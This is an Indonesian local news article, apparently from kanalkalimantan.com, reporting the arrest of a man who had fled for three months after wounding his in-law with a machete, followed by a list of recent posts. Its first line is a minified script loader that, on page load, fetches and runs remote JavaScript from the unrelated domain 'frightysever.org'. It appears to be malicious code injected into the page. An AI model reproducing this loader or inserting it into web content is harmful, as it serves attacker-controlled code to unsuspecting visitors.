(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Tiga Bulan Buron Gara-gara Aniaya Ipar, Mustafa Akhirnya Dibekuk Polsek Alabio


AMUNTAI, Setelah hampir tiga bulan buron, Mustafa alias Tapa (35) akhirnya berhasil dibekuk oleh personil Polsek Alabio bersama unit Buser Polres Hulu Sungai Utara (HSU), Senin (9/12) pukul 21.30 Wita.

Tapa yang merupakan warga Jl. Mutiara Dalam GG. Baru Indah, Kelurahan Kelayan Selatan, Banjarmasin ini menjadi tersangka usai melakukan penganiayaan Said Rahman (37) yang terbilang masih kerabatnya. Akibatnya, korban mengalami luka parah pada bagian tangan kiri bahkan jari kelingking korban hampir putus.

“Kami lakukan pengejaran selama hampir 3 bulan. Pelaku sama korban ada hubungan ipar, yang mana istri pelaku berkeluarga dengan korban,” ungkap Kapolres HSU melalui Kapolsek Alabio Iptu Teguh Budiyowono kepada kanalkalimantan.com, Rabu (11/12).

Tapa ditangkap setelah kembali pulang ke desa Rantau Karau Hilir RT 3, Kecamatan Sungai Pandan (Alabio) Kabupaten HSU. Usai diamankan, kepada polisi tersangka mengakui telah melakukan penganiyaan dengan motif dendam karena dirinya tidak diajak korban bekerja. “Selama pelarian tersangka mengaku bersembunyi di wilayah Kalimantan Timur,” kata Kapolsek Alabio ini.

Drama penganiayaan ini sendiri menurut Kapolsek terjadi pada hari Senin (9/9) di Desa Rantau Karau Hilir  Kecamatan Sungai Pandan (Alabio). Ketika itu, korban datang ke rumah RT dengan maksud meminjam sepeda motor. Tiba – tiba pelaku tapa sepengetahuan datang dan langsung menyerang korban Said Rahman dengan menebaskan sebilah parang.

Serangan pelaku sempat ditangkis oleh korban menggunakan tangan kosong sebelah kiri. Tak cukup menebaskan parang, Tapa kembali menyerang Said menggunakan sajam jenis keris ke arah perut, akan tetapi Korban Said  dapat menghindar.

Mendengar kegaduhan, warga berdatangan untuk melerai. Namun pada saat itu pula tersangka langsung melarikan diri.Atas kejadian tersebut, korban yang mengalami  luka serius dilarikan ke Rumah Sakit, korban mengalami luka gores/sayat pada bagian perut dan luka pada bagian tangan kiri, bahkan jari kelingking korban hampir putus.

Meski tidak sampai merenggut nyawanya, kejadian tersebut membuat Said Rahman lantas melaporkannya ke Polsek Alabio guna proses lebih lnjut. Saat ini pelaku bersama barang bukti diamankan di Mapolsek Alabio guna diproses dengan sangkaan Penganiayaan dengan Senjata Tajam (sajam) tentang pelanggaran  Pasal 351 KUHP dan atau UU darurat No. 12 tahun 1951.(dew)

Reporter : Dew
Editor : Chell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.